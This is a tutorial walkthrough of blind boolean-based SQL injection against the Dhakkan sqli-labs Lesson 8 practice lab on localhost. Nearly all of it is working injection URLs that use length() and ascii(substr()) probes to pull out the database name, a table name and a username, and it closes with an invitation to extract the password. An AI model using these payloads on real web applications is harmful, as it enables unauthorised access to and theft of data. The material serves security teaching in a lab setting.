Their so many ways to hack the database using SQL injection as we had seen in our previous tutorial Error based attack, login formed based attack and many more different type of attack in order to retrieve information from inside database. In same way today we will learn a new type of SQL injection attack known as Blind Boolean based attack.
An attacker always check SQL injection vulnerability using comma (‘) inside URL to break the statement in order to receive sql error message. It is a fight between developer and attacker, the developer increases the security level and attacker try to break it. This time developer had blocked error message as the output on the website. Hence if database is vulnerable to SQL injection then attacker do not obtain any error message on website.Attacker will try to confirm if the database is vulnerable to Blind SQL Injection by evaluating the results of various queries which return either TRUE or FLASE.
Let’s start!!
Using Dhakkan we will demonstrate blind SQL injection.
Lesson 8
Lesson 8 is regarding blind boolean based injection therefore first we need to explore http://localhost:81/sqli/Less-8/?id=1 on browser, this will send the query into database.
SELECT * from table_name WHERE id=1
As output it will display “you are in” the yellow colour text on the web page as shown in given image.
When attacker tries to break this query using comma (‘) http://localhost:81/sqli/Less-8/?id=1’
Or other different technique he will not able to found any error message. More over yellow colour text will disappear if attack tries to inject invalid query which also shown in given image.
Then attacker will go for blind sql injection to make sure, that inject query must return an answer either true or false.
http://localhost:81/sqli/Less-8/?id=1′ AND 1=1 –+
SELECT * from table_name WHERE id=1’ AND 1=1
Now database test for given condition whether 1 is equal to 1 if query is valid it returns TRUE, from screenshot you can see we have got yellow colour text again “you are in”, which means our query is valid.
In next query which check for URL
http://localhost:81/sqli/Less-8/?id=1′ AND 1=0 –+
SELECT * from table_name WHERE id=1’ AND 1=0
Now it will test the given condition whether 1 is equal to 0 as we know 1 is not equal to 0 hence database answer as ‘FLASE’ query. From screenshot it confirms when yellow colour text get disappear again.
Hence it confirms that the web application is infected to blind sql injection. Using true and false condition we are going to retrieve database information.
Length of database string
Following query will ask the length of database string. For example the name of database is IGNITE which contains 6 alphabets so length of string for database IGNITE is equal to 6.
Similarly we will inject given below query which will ask whether length of database string is equal to 1, in response of that query it will answer by returning TRUE or FALSE through text “you are in”.
http://localhost:81/sqli/Less-8/?id=1′ AND (length(database())) = 1 –+
From given screenshot you can see again the text gets disappear which means it has return FALSE to reply NO the length of database string is not equal to 1
http://localhost:81/sqli/Less-8/?id=1′ AND (length(database())) = 2 –+
Again it will test the length of database string is equal to 2; it has return FALSE to reply NO the length of database string is not equal to 2. Repeat the same step till we do not receive TRUE for string length 3/4/5/ and so on.
http://localhost:81/sqli/Less-8/?id=1′ AND (length(database())) = 8 –+
when I test for string is equal to 8; it answer as true and as result yellow colour text “you are in” appears again.
As we know computer does not understand human language it can read only binary language therefore we will use ASCII code. The ASCII code associates an integer value for all symbols in the character set, such as letters, digits, punctuation marks, special characters, and control characters.
For example look at following string ascii code:
1 = I = 73
2 = G = 71
3 = N = 78
4 = I = 73
5 = T = 84
6 = E = 69
Image Source:lookuptable.com
Further we will enumerate database name using ascii character for all 8 strings.
Next query will ask from database test the condition whether first string of database name is greater than 100 using acsii substring.
http://localhost:81/sqli/Less-8/?id=1′ AND (ascii(substr((select database()),1,1))) > 100 –+
It reflects TRUE condition hence if you match the ascii character you will observe that from 100 small alphabets string has been running till 172.
http://localhost:81/sqli/Less-8/?id=1′ AND (ascii(substr((select database()),1,1))) > 120 –+
Similarly it will test again whether first letter is greater than 120. But this time it return FALSE which means the first letter is greater than 100 and less than 120.
http://localhost:81/sqli/Less-8/?id=1′ AND (ascii(substr((select database()),1,1))) > 101 –+
Now next it will equate first string from 101, again we got FALSE.
We had perform this test from 101 till 114 but receive FALSE every time.
http://localhost:81/sqli/Less-8/?id=1′ AND (ascii(substr((select database()),1,1))) > 114–+
http://localhost:81/sqli/Less-8/?id=1′ AND (ascii(substr((select database()),1,1))) = 115–+
Finally receive TRUE reply at 115 which means first string is equal to 115, where 115 =‘s’
Similarly test for second string, repeat above step by replacing first string from second.
http://localhost:81/sqli/Less-8/?id=1′ AND (ascii(substr((select database()),2,1))) > 100 –+
I received TRUE reply at 101 which means second string is equal to 101 and 101 = ‘e’.
Similarly I had performed this for all eight strings and got following result:
Given query will test the condition whether the length of string for first table is equal to 6 or not.
http://localhost:81/sqli/Less-8/?id=1′ AND (length((select table_name from information_schema.tables where table_schema=database() limit 0,1))) = 6 –+
In reply we receive TRUE and text “you are in” appears again on the web site.
Similarly I test for second and third table using same technique by replacing only table number in same query.
1 = s = 115
2 = e = 101
3 = c =99
4 = u =117
5 = r =114
6 = i = 105
7 = t = 116
8 = y = 121
Table string length
We have to use same technique for enumerating information of the table from inside the database. Given query will test the condition whether the length of string for first table is greater than 5 or not.
http://localhost:81/sqli/Less-8/?id=1′ AND (length((select table_name from information_schema.tables where table_schema=database() limit 0,1))) > 5 –+
In reply we receive TRUE and text “you are in” appears again on the web site.
Given query will test the condition whether the length of string for first table is greater than 6 or not.
http://localhost:81/sqli/Less-8/?id=1′ AND (length((select table_name from information_schema.tables where table_schema=database() limit 0,1))) > 6 –+
In reply we receive FALSE and text “you are in” disappears again from the web site.
Given query will test the condition whether the length of string for first table is equal to 6 or not.
http://localhost:81/sqli/Less-8/?id=1′ AND (length((select table_name from information_schema.tables where table_schema=database() limit 0,1))) = 6 –+
In reply we receive TRUE and text “you are in” appears again on the web site.
Similarly I test for second and third table using same technique by replacing only table number in same query.
Similarly enumerating fourth table information using following query to test the condition whether the length of string for fourth table is equal to 5 or not.
http://localhost:81/sqli/Less-8/?id=1′ AND (length((select table_name from information_schema.tables where table_schema=database() limit 3,1))) = 5 –+
In reply we receive TRUE and text “you are in” appears again on the web site.
As we had performed in database enumeration using ascii code similarly we are going to use same technique to retrieve table name.
Further we will enumerate 4th table name using ascii character for all 5 strings.
Next query will ask from database to test the condition whether first string of table name is greater than 115 using acsii substring.
http://localhost:81/sqli/Less-8/?id=1′ AND (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1) ,1,1))) > 115 –+
It reflects TRUE condition text “you are in” appears again on the web site hence if you match the ascii character.
Next query will ask from database to test the condition whether first string of table name is greater than 120 using acsii substring.
http://localhost:81/sqli/Less-8/?id=1′ AND (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1) ,1,1))) > 120 –+
But this time it return FALSE which means the first letter is greater than 115 and less than 120.
Proceeding towards equating the string from ascii code between number 115 to 120. Next query will ask from database to test the condition whether first string of table name is greater than 120 using acsii substring.
http://localhost:81/sqli/Less-8/?id=1′ AND (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1) ,1,1))) = 116 –+
It return FALSE, text get disappear.
http://localhost:81/sqli/Less-8/?id=1′ AND (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1) ,1,1))) = 117 –+
It returns TRUE, text get appear.
Similarly we had test remaining strings and received following result
1 = u = 117
2 = s = 115
3 = e = 101
4 = r = 114
5 = s = 115
User Name Enumeration
Using same method we are going to enumerate length of string username from inside the table users
Given below query will test for string length is equal to 4 or not.
http://localhost:81/sqli/Less-8/?id=1′ AND (length((select username from users limit 0,1))) = 4 –+
It reply TRUE with help of yellow color text
Using same method we are going to enumerate username from inside the table users
Given below query will test for first string using ascii code.
http://localhost:81/sqli/Less-8/?id=1′ AND (ascii(substr((select username from users limit 0,1) ,1,1))) > 100 –+
We received FALSE which means the first string must be less than 100.
http://localhost:81/sqli/Less-8/?id=1′ AND (ascii(substr((select username from users limit 0,1) ,1,1))) > 50 –+
We received TRUE which means the first string must be more than 50.
Similarly,
http://localhost:81/sqli/Less-8/?id=1′ AND (ascii(substr((select username from users limit 0,1) ,1,1))) > 60 –+
We received TRUE which means the first string must be more than 60.
Similarly,
http://localhost:81/sqli/Less-8/?id=1′ AND (ascii(substr((select username from users limit 0,1) ,1,1))) > 70 –+
We received FALSE which means the first string is less than 70.
Hence first string must lie between 60 and 70 of ascii code.
Proceeding towards comparing string from different ascii code using following query.
http://localhost:81/sqli/Less-8/?id=1′ AND (ascii(substr((select username from users limit 0,1) ,1,1))) = 68 –+
This time successfully receive TRUE with appearing text “you are in”.
Similarly I had test for all four string in order to retrieve username:
1 = D = 68
2 = u = 117
3 = m = 109
4 = b = 98
Hence today we had learned how attacker hacked database using blind sql injection.
!!Try yourself to retrieve password for user dumb!!
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